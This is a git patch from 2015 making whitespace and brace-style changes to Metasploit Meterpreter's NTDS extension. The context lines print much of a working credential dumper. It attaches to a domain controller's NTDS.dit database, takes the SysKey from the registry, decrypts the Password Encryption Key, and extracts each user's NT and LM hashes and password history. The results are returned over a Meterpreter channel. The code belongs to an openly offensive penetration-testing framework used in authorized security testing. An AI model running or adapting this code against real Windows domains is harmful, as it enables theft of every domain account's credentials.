From 773008d921de8b1122fc93c1b754e751c7007c1a Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Thu, 4 Jun 2015 08:50:24 -0500 Subject: [PATCH] whitespace tweaks --- .../source/extensions/priv/server/ntds.c | 54 ++++--- .../extensions/priv/server/ntds_decrypt.c | 55 ++++--- .../source/extensions/priv/server/ntds_jet.c | 149 ++++++++++-------- 3 files changed, 146 insertions(+), 112 deletions(-) diff --git a/c/meterpreter/source/extensions/priv/server/ntds.c b/c/meterpreter/source/extensions/priv/server/ntds.c index 9edd5fe3..d6e6e26c 100755 --- a/c/meterpreter/source/extensions/priv/server/ntds.c +++ b/c/meterpreter/source/extensions/priv/server/ntds.c @@ -13,13 +13,14 @@ typedef struct // It calls the setup routines for our Jet Instance, attaches the isntance // to the NTDS.dit database the user specified, and creates our channel. // The user interacts with the NTDS database through that channel from that point on. -DWORD ntds_parse(Remote *remote, Packet *packet){ +DWORD ntds_parse(Remote *remote, Packet *packet) +{ Packet *response = packet_create_response(packet); DWORD res = ERROR_SUCCESS; struct jetState *ntdsState = calloc(1,sizeof(struct jetState)); PCHAR filePath = packet_get_tlv_value_string(packet, TLV_TYPE_NTDS_PATH); // Check if the File exists - if (0xffffffff == GetFileAttributes(filePath)){ + if (0xffffffff == GetFileAttributes(filePath)) { res = 2; goto out; } @@ -27,31 +28,31 @@ DWORD ntds_parse(Remote *remote, Packet *packet){ // Attempt to get the SysKey from the Registry unsigned char sysKey[17]; - if (!get_syskey(sysKey)){ + if (!get_syskey(sysKey)) { res = GetLastError(); goto out; } JET_ERR startupStatus = engine_startup(ntdsState); - if (startupStatus != JET_errSuccess){ + if (startupStatus != JET_errSuccess) { exit(startupStatus); } // Start a Session in the Jet Instance JET_ERR sessionStatus = JetBeginSession(ntdsState->jetEngine, &ntdsState->jetSession, NULL, NULL); - if (sessionStatus != JET_errSuccess){ + if (sessionStatus != JET_errSuccess) { JetTerm(ntdsState->jetEngine); res = sessionStatus; goto out; } JET_ERR openStatus = open_database(ntdsState); - if (openStatus != JET_errSuccess){ + if (openStatus != JET_errSuccess) { JetEndSession(ntdsState->jetSession, (JET_GRBIT)NULL); JetTerm(ntdsState->jetEngine); res = openStatus; goto out; } JET_ERR tableStatus = JetOpenTable(ntdsState->jetSession, ntdsState->jetDatabase, "datatable", NULL, 0, JET_bitTableReadOnly | JET_bitTableSequential, &ntdsState->jetTable); - if (tableStatus != JET_errSuccess){ + if (tableStatus != JET_errSuccess) { engine_shutdown(ntdsState); res = tableStatus; goto out; @@ -61,7 +62,7 @@ DWORD ntds_parse(Remote *remote, Packet *packet){ struct ntdsColumns *accountColumns = calloc(1, sizeof(struct ntdsColumns)); JET_ERR columnStatus = get_column_info(ntdsState, accountColumns); - if (columnStatus != JET_errSuccess){ + if (columnStatus != JET_errSuccess) { engine_shutdown(ntdsState); free(accountColumns); res = columnStatus; @@ -73,7 +74,7 @@ DWORD ntds_parse(Remote *remote, Packet *packet){ // Get and Decrypt the Password Encryption Key (PEK) pekStatus = get_PEK(ntdsState, accountColumns, pekEncrypted); - if (pekStatus != JET_errSuccess){ + if (pekStatus != JET_errSuccess) { res = pekStatus; free(accountColumns); free(pekEncrypted); @@ -81,8 +82,8 @@ DWORD ntds_parse(Remote *remote, Packet *packet){ engine_shutdown(ntdsState); goto out; } - if (!decrypt_PEK(sysKey, pekEncrypted, pekDecrypted)){ - res = GetLastError(); + if (!decrypt_PEK(sysKey, pekEncrypted, pekDecrypted)) { + res = GetLastError(); free(accountColumns); free(pekEncrypted); free(pekDecrypted); @@ -91,7 +92,7 @@ DWORD ntds_parse(Remote *remote, Packet *packet){ } // Set our Cursor on the first User record JET_ERR cursorStatus = find_first(ntdsState); - if (cursorStatus != JET_errSuccess){ + if (cursorStatus != JET_errSuccess) { res = cursorStatus; free(accountColumns); free(pekEncrypted); @@ -100,7 +101,7 @@ DWORD ntds_parse(Remote *remote, Packet *packet){ goto out; } cursorStatus = next_user(ntdsState, accountColumns); - if (cursorStatus != JET_errSuccess){ + if (cursorStatus != JET_errSuccess) { res = cursorStatus; free(accountColumns); free(pekEncrypted); @@ -154,15 +155,16 @@ out: // This function reads an individual account record from the database and moves // the cursor to the next one in the table. -static DWORD ntds_read_into_batch(NTDSContext *ctx, struct ntdsAccount *batchedAccount){ +static DWORD ntds_read_into_batch(NTDSContext *ctx, struct ntdsAccount *batchedAccount) +{ DWORD result = ERROR_SUCCESS; JET_ERR readStatus = JET_errSuccess; struct ntdsAccount *userAccount = calloc(1,sizeof(struct ntdsAccount)); readStatus = read_user(ctx->ntdsState, ctx->accountColumns, ctx->pekDecrypted, userAccount); - if (readStatus != JET_errSuccess){ + if (readStatus != JET_errSuccess) { result = readStatus; } - else{ + else { memcpy(batchedAccount, userAccount, sizeof(struct ntdsAccount)); } free(userAccount); @@ -173,16 +175,17 @@ static DWORD ntds_read_into_batch(NTDSContext *ctx, struct ntdsAccount *batchedA // It call ntds_read_into_batch up to 20 times and feeds the results into // an array which is then written back out into the channel's output buffer static DWORD ntds_channel_read(Channel *channel, Packet *request, - LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesRead){ + LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesRead) +{ JET_ERR readStatus = JET_errSuccess; DWORD result = ERROR_SUCCESS; NTDSContext *ctx = (NTDSContext *)context; struct ntdsAccount batchedAccounts[20] = { 0 }; - for (int i = 0; i < 20; i++){ + for (int i = 0; i < 20; i++) { readStatus = ntds_read_into_batch(ctx, &batchedAccounts[i]); - if (readStatus != JET_errSuccess){ - if (i == 0){ + if (readStatus != JET_errSuccess) { + if (i == 0) { result = readStatus; } break; @@ -190,23 +193,24 @@ static DWORD ntds_channel_read(Channel *channel, Packet *request, next_user(ctx->ntdsState, ctx->accountColumns); } unsigned int batchSize = (unsigned int)sizeof(batchedAccounts); - if (batchSize < bufferSize){ + if (batchSize < bufferSize) { memcpy(buffer, batchedAccounts, batchSize); *bytesRead = batchSize; } - else{ + else { memcpy(buffer, batchedAccounts, bufferSize); *bytesRead = bufferSize; } - + return result; } -// This callback function is responsible for cleaning up when the channel +// This callback function is responsible for cleaning up when the channel // is closed. It shuts down the Jet Engine, and frees up the memory // for all of the context we have been carrying around. static DWORD ntds_channel_close(Channel *channel, Packet *request, - LPVOID context){ + LPVOID context) +{ NTDSContext *ctx = (NTDSContext *)context; engine_shutdown(ctx->ntdsState); free(ctx->accountColumns); diff --git a/c/meterpreter/source/extensions/priv/server/ntds_decrypt.c b/c/meterpreter/source/extensions/priv/server/ntds_decrypt.c index 79f15048..31744564 100755 --- a/c/meterpreter/source/extensions/priv/server/ntds_decrypt.c +++ b/c/meterpreter/source/extensions/priv/server/ntds_decrypt.c @@ -10,8 +10,9 @@ * @param length Integer representing the length of the byte array * @param output Pointer to the string we are outputting the result to */ -void bytes_to_string(LPBYTE data, unsigned int length, LPSTR output){ - for (unsigned int i = 0; i < length; i++){ +void bytes_to_string(LPBYTE data, unsigned int length, LPSTR output) +{ + for (unsigned int i = 0; i < length; i++) { sprintf(output + (i << 1), "%02X", ((LPBYTE)data)[i]); } } @@ -24,18 +25,20 @@ void bytes_to_string(LPBYTE data, unsigned int length, LPSTR output){ * @param rid DWORD representing the Relative ID(RID) of the account * @returns Indication of sucess or failure. */ -BOOL decrypt_hash(struct encryptedHash *encryptedNTLM, struct decryptedPEK *pekDecrypted, char *hashString, DWORD rid){ +BOOL decrypt_hash(struct encryptedHash *encryptedNTLM, + struct decryptedPEK *pekDecrypted, char *hashString, DWORD rid) +{ BOOL cryptOK = FALSE; BYTE encHashData[NULL_TERIMNATED_HASH_LENGTH] = { 0 }; BYTE decHash[NULL_TERIMNATED_HASH_LENGTH] = { 0 }; memcpy(&encHashData, &encryptedNTLM->encryptedHash, HASH_LENGTH_BYTES); cryptOK = decrypt_rc4(pekDecrypted->pekKey, encryptedNTLM->keyMaterial, encHashData, 1, HASH_LENGTH_BYTES); - if (!cryptOK){ + if (!cryptOK) { return FALSE; } cryptOK = decrypt_hash_from_rid(encHashData, &rid, decHash); - if (!cryptOK){ + if (!cryptOK) { return FALSE; } bytes_to_string(decHash, HASH_LENGTH_BYTES, hashString); @@ -49,14 +52,15 @@ BOOL decrypt_hash(struct encryptedHash *encryptedNTLM, struct decryptedPEK *pekD * @param decodedHash Pointer to where we store the decrypted hash * @returns Indication of sucess or failure. */ -BOOL decrypt_hash_from_rid(LPBYTE encodedHash, LPDWORD rid, LPBYTE decodedHash){ +BOOL decrypt_hash_from_rid(LPBYTE encodedHash, LPDWORD rid, LPBYTE decodedHash) +{ typedef NTSTATUS(__stdcall *PSYS25)(IN LPCBYTE data, IN LPDWORD key, OUT LPBYTE output); HMODULE hAdvapi = LoadLibrary("advapi32.dll"); - if (hAdvapi == NULL){ + if (hAdvapi == NULL) { return FALSE; } PSYS25 decryptFromRID = (PSYS25)GetProcAddress(hAdvapi, "SystemFunction025"); - if (decryptFromRID(encodedHash, rid, decodedHash) != 0){ + if (decryptFromRID(encodedHash, rid, decodedHash) != 0) { return FALSE; } return TRUE; @@ -72,7 +76,9 @@ BOOL decrypt_hash_from_rid(LPBYTE encodedHash, LPDWORD rid, LPBYTE decodedHash){ * @param historyCount Pointer to n integer where we store a count of the historical hashes * @returns Indication of sucess or failure. */ -BOOL decrypt_hash_history(LPBYTE encHashHistory, size_t sizeHistory, struct decryptedPEK *pekDecrypted, DWORD rid, char *accountHistory, unsigned int *historyCount){ +BOOL decrypt_hash_history(LPBYTE encHashHistory, size_t sizeHistory, + struct decryptedPEK *pekDecrypted, DWORD rid, char *accountHistory, unsigned int *historyCount) +{ BOOL cryptOK = FALSE; unsigned int sizeHistoryData = (unsigned int)sizeHistory - 24; unsigned int numHashes = (sizeHistoryData / HASH_LENGTH_BYTES); @@ -81,18 +87,18 @@ BOOL decrypt_hash_history(LPBYTE encHashHistory, size_t sizeHistory, struct decr LPBYTE decHistoryData = (LPBYTE)calloc(1,(sizeHistoryData * 2)); memcpy(encHistoryData, encHashHistory + 24, sizeHistoryData); cryptOK = decrypt_rc4(pekDecrypted->pekKey, encHashHistory + 8, encHistoryData, 1, sizeHistoryData); - if (!cryptOK){ + if (!cryptOK) { free(encHistoryData); free(decHistoryData); return FALSE; } LPBYTE historicalHash = encHistoryData; LPBYTE writeMarker = decHistoryData; - for (unsigned int i = 0; i < numHashes; i++){ + for (unsigned int i = 0; i < numHashes; i++) { BYTE decHash[HASH_LENGTH_BYTES]; char hashString[NULL_TERIMNATED_HASH_STRING_LENGTH] = { 0 }; cryptOK = decrypt_hash_from_rid(historicalHash, &rid, decHash); - if (!cryptOK){ + if (!cryptOK) { return FALSE; } bytes_to_string(decHash, HASH_LENGTH_BYTES, hashString); @@ -113,13 +119,14 @@ BOOL decrypt_hash_history(LPBYTE encHashHistory, size_t sizeHistory, struct decr * @param pekDecrypted Pointer to the decryptedPEK struct where we will store our decrypted PEK * @returns Indication of sucess or failure. */ -BOOL decrypt_PEK(unsigned char *sysKey, struct encryptedPEK *pekEncrypted, struct decryptedPEK *pekDecrypted){ +BOOL decrypt_PEK(unsigned char *sysKey, struct encryptedPEK *pekEncrypted, struct decryptedPEK *pekDecrypted) +{ BOOL cryptOK = FALSE; BYTE pekData[52] = { 0 }; memcpy(&pekData, &pekEncrypted->pekData, sizeof(struct decryptedPEK)); cryptOK = decrypt_rc4(sysKey, pekEncrypted->keyMaterial, pekData, 1000, sizeof(struct decryptedPEK)); - if (!cryptOK){ + if (!cryptOK) { return FALSE; } memcpy(pekDecrypted, &pekData, sizeof(struct decryptedPEK)); @@ -135,7 +142,9 @@ BOOL decrypt_PEK(unsigned char *sysKey, struct encryptedPEK *pekEncrypted, struc * @param lenBuffer the length of our output buffer * @returns Indication of sucess or failure. */ -BOOL decrypt_rc4(unsigned char *key1, unsigned char *key2, LPBYTE encrypted, unsigned int hashIterations, DWORD lenBuffer){ +BOOL decrypt_rc4(unsigned char *key1, unsigned char *key2, LPBYTE encrypted, + unsigned int hashIterations, DWORD lenBuffer) +{ BOOL cryptOK = FALSE; HCRYPTPROV hProv = 0; HCRYPTHASH hHash = 0; @@ -144,42 +153,42 @@ BOOL decrypt_rc4(unsigned char *key1, unsigned char *key2, LPBYTE encrypted, uns HCRYPTKEY rc4KeyFinal; cryptOK = CryptAcquireContext(&hProv, 0, MS_ENHANCED_PROV, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT); - if (!cryptOK){ + if (!cryptOK) { return FALSE; } cryptOK = CryptCreateHash(hProv, CALG_MD5, 0, 0, &hHash); - if (!cryptOK){ + if (!cryptOK) { CryptReleaseContext(hProv, (ULONG_PTR)NULL); return FALSE; } cryptOK = CryptHashData(hHash, key1, HASH_LENGTH_BYTES, 0); - if (!cryptOK){ + if (!cryptOK) { CryptDestroyHash(hHash); CryptReleaseContext(hProv, (ULONG_PTR)NULL); return FALSE; } - for (unsigned int i = 0; i < hashIterations; i++){ + for (unsigned int i = 0; i < hashIterations; i++) { cryptOK = CryptHashData(hHash, key2, HASH_LENGTH_BYTES, 0); - if (!cryptOK){ + if (!cryptOK) { CryptDestroyHash(hHash); CryptReleaseContext(hProv, (ULONG_PTR)NULL); return FALSE; } } cryptOK = CryptGetHashParam(hHash, HP_HASHVAL, rc4Key, &md5Len, 0); - if (!cryptOK){ + if (!cryptOK) { CryptDestroyHash(hHash); CryptReleaseContext(hProv, (ULONG_PTR)NULL); return FALSE; } cryptOK = CryptDeriveKey(hProv, CALG_RC4, hHash, 0, &rc4KeyFinal); - if (!cryptOK){ + if (!cryptOK) { CryptDestroyHash(hHash); CryptReleaseContext(hProv, (ULONG_PTR)NULL); return FALSE; } cryptOK = CryptEncrypt(rc4KeyFinal, (HCRYPTHASH)NULL, TRUE, 0, encrypted, &lenBuffer, lenBuffer); - if (!cryptOK){ + if (!cryptOK) { CryptDestroyKey(rc4KeyFinal); CryptDestroyHash(hHash); CryptReleaseContext(hProv, (ULONG_PTR)NULL); diff --git a/c/meterpreter/source/extensions/priv/server/ntds_jet.c b/c/meterpreter/source/extensions/priv/server/ntds_jet.c index 8ae682c3..58bf22c5 100755 --- a/c/meterpreter/source/extensions/priv/server/ntds_jet.c +++ b/c/meterpreter/source/extensions/priv/server/ntds_jet.c @@ -9,18 +9,19 @@ * @param ntdsState Pointer to a jetsState struct which contains all the state data for the Jet Instance. * @returns Indication of sucess or failure. */ -JET_ERR engine_shutdown(struct jetState *ntdsState){ +JET_ERR engine_shutdown(struct jetState *ntdsState) +{ JET_ERR shutdownStatus; shutdownStatus = JetCloseDatabase(ntdsState->jetSession, ntdsState->jetDatabase, (JET_GRBIT)NULL); - if (shutdownStatus != JET_errSuccess){ + if (shutdownStatus != JET_errSuccess) { return shutdownStatus; } shutdownStatus = JetDetachDatabase(ntdsState->jetSession, ntdsState->ntdsPath); - if (shutdownStatus != JET_errSuccess){ + if (shutdownStatus != JET_errSuccess) { return shutdownStatus; } shutdownStatus = JetEndSession(ntdsState->jetSession, (JET_GRBIT)NULL); - if (shutdownStatus != JET_errSuccess){ + if (shutdownStatus != JET_errSuccess) { return shutdownStatus; } shutdownStatus = JetTerm(ntdsState->jetEngine); @@ -33,34 +34,37 @@ JET_ERR engine_shutdown(struct jetState *ntdsState){ * @param ntdsState Pointer to a jetsState struct which contains all the state data for the Jet Instance. * @returns Indication of sucess or failure. */ -JET_ERR engine_startup(struct jetState *ntdsState){ +JET_ERR engine_startup(struct jetState *ntdsState) +{ JET_ERR jetError; // Set the Page Size to the highest possibile limit jetError = JetSetSystemParameter(&ntdsState->jetEngine, JET_sesidNil, JET_paramDatabasePageSize, 8192, NULL); - if (jetError != JET_errSuccess){ + if (jetError != JET_errSuccess) { return jetError; } char instanceName[80] = "NTDS "; get_instance_name(instanceName); // Create our Jet Instance jetError = JetCreateInstance(&ntdsState->jetEngine, instanceName); - if (jetError != JET_errSuccess){ + if (jetError != JET_errSuccess) { return jetError; } // Disable crash recovery and transaction logs - jetError = JetSetSystemParameter(&ntdsState->jetEngine, JET_sesidNil, JET_paramRecovery, (JET_API_PTR)NULL, "Off"); - if (jetError != JET_errSuccess){ + jetError = JetSetSystemParameter(&ntdsState->jetEngine, JET_sesidNil, + JET_paramRecovery, (JET_API_PTR)NULL, "Off"); + if (jetError != JET_errSuccess) { return jetError; } // Initialise the Jet instance jetError = JetInit(&ntdsState->jetEngine); - if (jetError != JET_errSuccess){ + if (jetError != JET_errSuccess) { return jetError; } return JET_errSuccess; } -void get_instance_name(char *name){ +void get_instance_name(char *name) +{ SYSTEMTIME currentTime; GetSystemTime(¤tTime); char dateString[30]; @@ -77,7 +81,8 @@ void get_instance_name(char *name){ * @param ntdsState Pointer to a jetsState struct which contains all the state data for the Jet Instance. * @returns Indication of sucess or failure. */ -JET_ERR find_first(struct jetState *ntdsState){ +JET_ERR find_first(struct jetState *ntdsState) +{ JET_ERR cursorStatus; cursorStatus = JetMove(ntdsState->jetSession, ntdsState->jetTable, JET_MoveFirst, (JET_GRBIT)NULL); return cursorStatus; @@ -89,7 +94,8 @@ JET_ERR find_first(struct jetState *ntdsState){ * @param accountColumns Pointer to an ntdsState struct which will hold all of our column definitions. * @returns Indication of sucess or failure. */ -JET_ERR get_column_info(struct jetState *ntdsState, struct ntdsColumns *accountColumns){ +JET_ERR get_column_info(struct jetState *ntdsState, struct ntdsColumns *accountColumns) +{ JET_ERR columnError; struct { char *name; @@ -111,9 +117,9 @@ JET_ERR get_column_info(struct jetState *ntdsState, struct ntdsColumns *accountC { "ATTr589970", &accountColumns->accountSID } }; int countColumns = sizeof(columns) / sizeof(columns[0]); - for (int i = 0; i < countColumns; i++){ + for (int i = 0; i < countColumns; i++) { columnError = JetGetTableColumnInfo(ntdsState->jetSession, ntdsState->jetTable, columns[i].name, columns[i].column, sizeof(JET_COLUMNDEF), JET_ColInfo); - if (columnError != JET_errSuccess){ + if (columnError != JET_errSuccess) { return columnError; } } @@ -127,20 +133,21 @@ JET_ERR get_column_info(struct jetState *ntdsState, struct ntdsColumns *accountC * @param pekEncrypted Pointer to an encryptedPEK struct to hold our encrypted PEK * @returns Indication of sucess or failure. */ -JET_ERR get_PEK(struct jetState *ntdsState, struct ntdsColumns *accountColumns, struct encryptedPEK *pekEncrypted){ +JET_ERR get_PEK(struct jetState *ntdsState, struct ntdsColumns *accountColumns, struct encryptedPEK *pekEncrypted) +{ JET_ERR cursorStatus; JET_ERR readStatus; unsigned char *encryptionKey[76]; cursorStatus = JetMove(ntdsState->jetSession, ntdsState->jetTable, JET_MoveFirst, (JET_GRBIT)NULL); - if (cursorStatus != JET_errSuccess){ + if (cursorStatus != JET_errSuccess) { return cursorStatus; } - do{ + do { //Attempt to retrieve the Password Encryption Key unsigned long columnSize = 0; readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->encryptionKey.columnid, encryptionKey, 76, &columnSize, 0, NULL); - if (readStatus == JET_errSuccess){ + if (readStatus == JET_errSuccess) { memcpy(pekEncrypted, &encryptionKey, 76); return readStatus; } @@ -155,25 +162,26 @@ JET_ERR get_PEK(struct jetState *ntdsState, struct ntdsColumns *accountColumns, * @param accountColumns Pointer to an ntdsState struct which will hold all of our column definitions. * @returns Indication of sucess or failure. */ -JET_ERR next_user(struct jetState *ntdsState, struct ntdsColumns *accountColumns){ +JET_ERR next_user(struct jetState *ntdsState, struct ntdsColumns *accountColumns) +{ JET_ERR cursorStatus; JET_ERR readStatus; JET_ERR finalStatus = JET_errSuccess; DWORD accountType = 0; unsigned long columnSize = 0; - do{ + do { cursorStatus = JetMove(ntdsState->jetSession, ntdsState->jetTable, JET_MoveNext, (JET_GRBIT)NULL); - if (cursorStatus != JET_errSuccess){ + if (cursorStatus != JET_errSuccess) { finalStatus = cursorStatus; break; } //Retrieve the account type for this row readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->accountType.columnid, &accountType, sizeof(accountType), &columnSize, 0, NULL); // Unless this is a User Account, then we skip it - if (readStatus == JET_wrnColumnNull){ + if (readStatus == JET_wrnColumnNull) { continue; } - else if (readStatus != JET_errSuccess){ + else if (readStatus != JET_errSuccess) { finalStatus = readStatus; break; } @@ -186,13 +194,14 @@ JET_ERR next_user(struct jetState *ntdsState, struct ntdsColumns *accountColumns * @param ntdsState Pointer to a jetsState struct which contains all the state data for the Jet Instance. * @returns Indication of sucess or failure. */ -JET_ERR open_database(struct jetState *ntdsState){ +JET_ERR open_database(struct jetState *ntdsState) +{ JET_ERR attachStatus = JetAttachDatabase(ntdsState->jetSession, ntdsState->ntdsPath, JET_bitDbReadOnly); - if (attachStatus != JET_errSuccess){ + if (attachStatus != JET_errSuccess) { return attachStatus; } JET_ERR openStatus = JetOpenDatabase(ntdsState->jetSession, ntdsState->ntdsPath, NULL, &ntdsState->jetDatabase, JET_bitDbReadOnly); - if (openStatus != JET_errSuccess){ + if (openStatus != JET_errSuccess) { return openStatus; } return JET_errSuccess; @@ -206,13 +215,15 @@ JET_ERR open_database(struct jetState *ntdsState){ * @param userAccount Pointer to an ntdsAccount struct that will hold all of our User data * @returns Indication of sucess or failure. */ -JET_ERR read_user(struct jetState *ntdsState, struct ntdsColumns *accountColumns, struct decryptedPEK *pekDecrypted, struct ntdsAccount *userAccount){ +JET_ERR read_user(struct jetState *ntdsState, struct ntdsColumns *accountColumns, + struct decryptedPEK *pekDecrypted, struct ntdsAccount *userAccount) +{ JET_ERR readStatus = JET_errSuccess; DWORD accountControl = 0; unsigned long columnSize = 0; // Grab the SID here readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->accountSID.columnid, &userAccount->accountSID, sizeof(userAccount->accountSID), &columnSize, 0, NULL); - if (readStatus != JET_errSuccess){ + if (readStatus != JET_errSuccess) { return readStatus; } // Derive the RID from the SID @@ -222,23 +233,23 @@ JET_ERR read_user(struct jetState *ntdsState, struct ntdsColumns *accountColumns // Grab the samAccountName here wchar_t accountName[20] = { 0x00 }; readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->accountName.columnid, &accountName, sizeof(accountName), &columnSize, 0, NULL); - if (readStatus != JET_errSuccess){ + if (readStatus != JET_errSuccess) { return readStatus; } strncpy(userAccount->accountName, wchar_to_utf8(accountName), sizeof(userAccount->accountName)); // Grab the Account Description here wchar_t accountDescription[1024] = { 0x00 }; readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->accountDescription.columnid, &accountDescription, sizeof(accountDescription), &columnSize, 0, NULL); - if (readStatus == JET_wrnColumnNull){ + if (readStatus == JET_wrnColumnNull) { memset(userAccount->accountDescription, 0, sizeof(userAccount->accountDescription)); } - else if (readStatus != JET_errSuccess){ + else if (readStatus != JET_errSuccess) { return readStatus; } strncpy(userAccount->accountDescription, wchar_to_utf8(accountDescription), sizeof(userAccount->accountDescription)); // Grab the UserAccountControl flags here readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->accountControl.columnid, &accountControl, sizeof(accountControl), &columnSize, 0, NULL); - if (readStatus != JET_errSuccess){ + if (readStatus != JET_errSuccess) { return readStatus; } userAccount->accountDisabled = !!(accountControl & NTDS_ACCOUNT_DISABLED); @@ -248,27 +259,27 @@ JET_ERR read_user(struct jetState *ntdsState, struct ntdsColumns *accountColumns userAccount->passNoExpire = !!(accountControl & NTDS_ACCOUNT_PASS_NO_EXPIRE); // Grab the Logon Count here readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->logonCount.columnid, &userAccount->logonCount, sizeof(userAccount->logonCount), &columnSize, 0, NULL); - if (readStatus != JET_errSuccess){ + if (readStatus != JET_errSuccess) { return readStatus; } // Grab the various Dates and Times readStatus = read_user_dates(ntdsState, accountColumns, pekDecrypted, userAccount); - if (readStatus != JET_errSuccess){ + if (readStatus != JET_errSuccess) { return readStatus; } // Grab the NT Hash readStatus = read_user_nt_hash(ntdsState, accountColumns, pekDecrypted, userAccount); - if (readStatus != JET_errSuccess && readStatus != JET_wrnColumnNull){ + if (readStatus != JET_errSuccess && readStatus != JET_wrnColumnNull) { return readStatus; } // Grab the LM Hash readStatus = read_user_lm_hash(ntdsState, accountColumns, pekDecrypted, userAccount); - if (readStatus != JET_errSuccess && readStatus != JET_wrnColumnNull){ + if (readStatus != JET_errSuccess && readStatus != JET_wrnColumnNull) { return readStatus; } // Grab the Hash History readStatus = read_user_hash_history(ntdsState, accountColumns, pekDecrypted, userAccount); - if (readStatus != JET_errSuccess && readStatus != JET_wrnColumnNull){ + if (readStatus != JET_errSuccess && readStatus != JET_wrnColumnNull) { return readStatus; } return JET_errSuccess; @@ -283,7 +294,9 @@ JET_ERR read_user(struct jetState *ntdsState, struct ntdsColumns *accountColumns * @param userAccount Pointer to an ntdsAccount struct that will hold all of our User data * @returns Indication of sucess or failure. */ -JET_ERR read_user_dates(struct jetState *ntdsState, struct ntdsColumns *accountColumns, struct decryptedPEK *pekDecrypted, struct ntdsAccount *userAccount){ +JET_ERR read_user_dates(struct jetState *ntdsState, struct ntdsColumns *accountColumns, + struct decryptedPEK *pekDecrypted, struct ntdsAccount *userAccount) +{ JET_ERR readStatus = JET_errSuccess; unsigned long columnSize = 0; FILETIME accountExpiry; @@ -294,46 +307,46 @@ JET_ERR read_user_dates(struct jetState *ntdsState, struct ntdsColumns *accountC SYSTEMTIME lastPass2; // Grab the account expiration date/time here readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->accountExpiry.columnid, &accountExpiry, sizeof(accountExpiry), &columnSize, 0, NULL); - if (readStatus != JET_errSuccess){ + if (readStatus != JET_errSuccess) { return readStatus; } //Convert the FILETIME to a SYSTEMTIME so we can get a human readable date FileTimeToSystemTime(&accountExpiry, &accountExpiry2); int dateResult = GetDateFormat(LOCALE_SYSTEM_DEFAULT, DATE_LONGDATE, &accountExpiry2, NULL, userAccount->expiryDate, 30); // Getting Human Readable will fail if account never expires. Just set the expiryDate string to 'never' - if (dateResult == 0){ + if (dateResult == 0) { strncpy(userAccount->expiryDate, "Never", 6); } // Grab the last logon date and time readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->lastLogon.columnid, &lastLogon, sizeof(lastLogon), &columnSize, 0, NULL); - if (readStatus != JET_errSuccess){ + if (readStatus != JET_errSuccess) { return readStatus; } //Convert the FILETIME to a SYSTEMTIME so we can get a human readable date FileTimeToSystemTime(&lastLogon, &lastLogon2); dateResult = GetDateFormat(LOCALE_SYSTEM_DEFAULT, DATE_LONGDATE, &lastLogon2, NULL, userAccount->logonDate, 30); // Getting Human Readable will fail if account has never logged in, much like the expiry date - if (dateResult == 0){ + if (dateResult == 0) { strncpy(userAccount->logonDate, "Never", 6); } dateResult = GetTimeFormat(LOCALE_SYSTEM_DEFAULT, 0, &lastLogon2, NULL, userAccount->logonTime, 30); - if (dateResult == 0){ + if (dateResult == 0) { strncpy(userAccount->logonTime, "Never", 6); } // Grab the last password change date and time readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->lastPasswordChange.columnid, &lastPass, sizeof(lastPass), &columnSize, 0, NULL); - if (readStatus != JET_errSuccess){ + if (readStatus != JET_errSuccess) { return readStatus; } //Convert the FILETIME to a SYSTEMTIME so we can get a human readable date FileTimeToSystemTime(&lastPass, &lastPass2); dateResult = GetDateFormat(LOCALE_SYSTEM_DEFAULT, DATE_LONGDATE, &lastPass2, NULL, userAccount->passChangeDate, 30); // Getting Human Readable will fail if account has never logged in, much like the expiry date - if (dateResult == 0){ + if (dateResult == 0) { strncpy(userAccount->passChangeDate, "Never", 6); } dateResult = GetTimeFormat(LOCALE_SYSTEM_DEFAULT, 0, &lastPass2, NULL, userAccount->passChangeTime, 30); - if (dateResult == 0){ + if (dateResult == 0) { strncpy(userAccount->passChangeTime, "Never", 6); } return JET_errSuccess; @@ -348,11 +361,13 @@ JET_ERR read_user_dates(struct jetState *ntdsState, struct ntdsColumns *accountC * @param userAccount Pointer to an ntdsAccount struct that will hold all of our User data * @returns Indication of sucess or failure. */ -JET_ERR read_user_hash_history(struct jetState *ntdsState, struct ntdsColumns *accountColumns, struct decryptedPEK *pekDecrypted, struct ntdsAccount *userAccount){ +JET_ERR read_user_hash_history(struct jetState *ntdsState, struct ntdsColumns *accountColumns, + struct decryptedPEK *pekDecrypted, struct ntdsAccount *userAccount) +{ JET_ERR readStatus = JET_errSuccess; unsigned long columnSize = 0; readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->ntHistory.columnid, NULL, 0, &columnSize, 0, NULL); - if (readStatus == JET_wrnBufferTruncated){ + if (readStatus == JET_wrnBufferTruncated) { LPBYTE encNTHist = (LPBYTE)calloc(1, columnSize); readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->ntHistory.columnid, encNTHist, columnSize, &columnSize, 0, NULL); decrypt_hash_history(encNTHist, columnSize, pekDecrypted, userAccount->accountRID, userAccount->ntHistory, &userAccount->numNTHistory); @@ -360,17 +375,17 @@ JET_ERR read_user_hash_history(struct jetState *ntdsState, struct ntdsColumns *a // If there's no NT history, there's no LM history // Grab the LM History readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->lmHistory.columnid, NULL, 0, &columnSize, 0, NULL); - if (readStatus == JET_wrnBufferTruncated){ + if (readStatus == JET_wrnBufferTruncated) { LPBYTE encLMHist = (LPBYTE)calloc(1, columnSize); readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->lmHistory.columnid, encLMHist, columnSize, &columnSize, 0, NULL); 